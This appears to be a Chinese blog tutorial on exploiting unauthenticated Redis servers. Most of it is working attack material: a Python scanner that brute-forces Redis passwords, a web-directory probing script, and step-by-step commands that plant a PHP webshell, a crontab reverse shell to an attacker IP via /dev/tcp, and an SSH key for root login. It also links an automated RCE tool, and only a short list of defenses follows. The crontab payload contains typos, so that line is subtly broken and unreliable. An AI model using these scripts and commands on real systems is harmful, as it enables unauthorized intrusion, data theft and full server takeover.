一文了解 Redis 未授权访问漏洞
作者:快盘下载 人气:一文了解 redis 未授权访问漏洞
前言
学习有名的 Redis 未授权访问漏洞
1、Redis 未授权访问漏洞
(1)原理
Redis默认情况下,会绑定0.0.0.0:6379,如果没有采用相关的策略,比如添加防火墙规则表面其他非信任来源IP访问等,这样会将Redis服务暴露到公网上,如果在没有设置密码认证 (一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据
攻击者在未授权访问Redis的情况下,利用Redis自身提供的config命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥 写入目标服务器的/root/.ssh文件夹中authotrized_keys文件中,进而可以只用对应私钥直接使用ssh服务登录目标服务器。
(2)条件
redis绑定在0.0.0.0:6379,且没有添加防火墙规则避免其他非信任来源IP访问等相关安全策略,直接暴露在公网没有设置密码认证(一般为空),可以免密码远程登录redis服务(3)漏洞危害
攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门程序最严重的情况,如果Redis以root身份与运行,黑客可以给root账户写入SSH公钥文件直接通过SSH登录受害服务器2、探测脚本
(1)测试是否存在 Redis 未授权访问漏洞
#! /usr/bin/env python # -*- encoding: utf-8 -*- import socket import sys PASSWORD_DIC=['redis','root','Oracle','password','p@aaw0rd','abc123!','123456','admin'] def check(ip, port, timeout): try: socket.setdefaulttimeout(timeout) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int(port))) s.send("INFO ") result = s.recv(1024) if "redis_version" in result: return u"未授权访问" elif "Authentication" in result: for pass_ in PASSWORD_DIC: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int(port))) s.send("AUTH %s " %(pass_)) result = s.recv(1024) if '+OK' in result: return u"存在弱口令,密码:%s" % (pass_) except Exception, e: pass if __name__ == '__main__': ip=sys.argv[1] port=sys.argv[2] print check(ip,port, timeout=10)
(2)web目录探测
#!/usr/bin/env python # -*- encoding: utf-8 -*- # 脚本说明 # 此脚本用于测试 Rdies 未授权访问时,在没权限写ssh私钥和定时任务又不知道web绝对路径的情况下,进行WEB目录探测 import redis r = redis.Redis(host='127.0.0.1', port=6379) # r = redis.Redis(host='127.0.0.1', port=6379, password=123) #带密码认证 pathlist = [] rootPath = "/web/releases/" #开始爆破的根目录 try: for dirs in open("E:dirs.txt",'r',encoding='UTF-8'): #这里是自己的字典,注意字符编码,关键还是字典 # dirs = dirs.decode() dirslist = dirs.strip(" ") path = "%s%s" % (rootPath,str(dirslist)) try: checkDir = r.config_set("dir",path) info = "当前路径: " + str(path) + " " + "存在!" pathlist.append(info) print(info) except Exception as e: if len(str(e)) == 45: print("当前路径: " + path + " " + " 不存在!") elif len(str(e)) == 37: info = "当前路径: " + path + " " + "没权限!" pathlist.append(str(info)) print(info) else : info = "当前路径: " + path + " " + str(e) pathlist.append(str(info)) print(info) except Exception as e: print("如果编码错误请检查字典中是否有乱码,错误信息:" + str(e)) print("===================== 探测完成 =====================") for path_success in pathlist: print(path_success)
3、利用过程
(1)写入webshell
条件:
知道web根目录绝对路径redis权限不是root,不过有web目录写权限流程:
先确认存在redis未授权访问漏洞,并获取web根目录连接redis服务端:redis-cli.exe -h [ip] -p [port]进入根目录:config set dir [根目录绝对路径]创建脚本文件:config set dbfilename shell.php写入命令:set webshell " <?php phpinfo();?> "保存:save访问shell.php即可
(2)在crontab里写定时任务反弹shell
条件:
centos:redis向任务计划文件写内容会出现乱码,centos会忽略乱码权限可写计划任务流程:
监听端口:nc -lvvp 8769生成计划任务配置文件config set dir /var/spool/cron set x " */l **** /bin/bash -i>&/dev/tcp/xxx.xxx.xxx.xxx/8769 0>&l " config set dbfilename root save
(3)写入ssh公钥,获取root权限
条件:
开启了秘钥认证的linux主机root权限你开启了ssh秘钥登录,存在/etc/.ssh文件流程:
生成秘钥:ssh-keygen -t rsa保存公钥:(echo -e " "; cat id_rsa.pub; echo -e " ") > key.txt写入redis:cat key.txt | redis-cli -h [ip] -x set crack生成authorized_keys文件:redis-cli -h [ip] config set dir /root/.ssh config set dbfilename authorized_keys本地私钥连接:ssh -i id_rsa root@[ip]
(4)自动RCE脚本
参见:https://github.com/n0b0dyCN/redis-rogue-server
4、防范措施
一些防范措施如下:
禁止一些高危命令(要重启redis生效)以低权限运行redis(要重启redis生效)为redis添加密码验证(要重启redis生效)禁止外网访问redis(要重启redis生效)修改默认端口设置防火墙策略结语
学习了下redis未授权访问漏洞
加载全部内容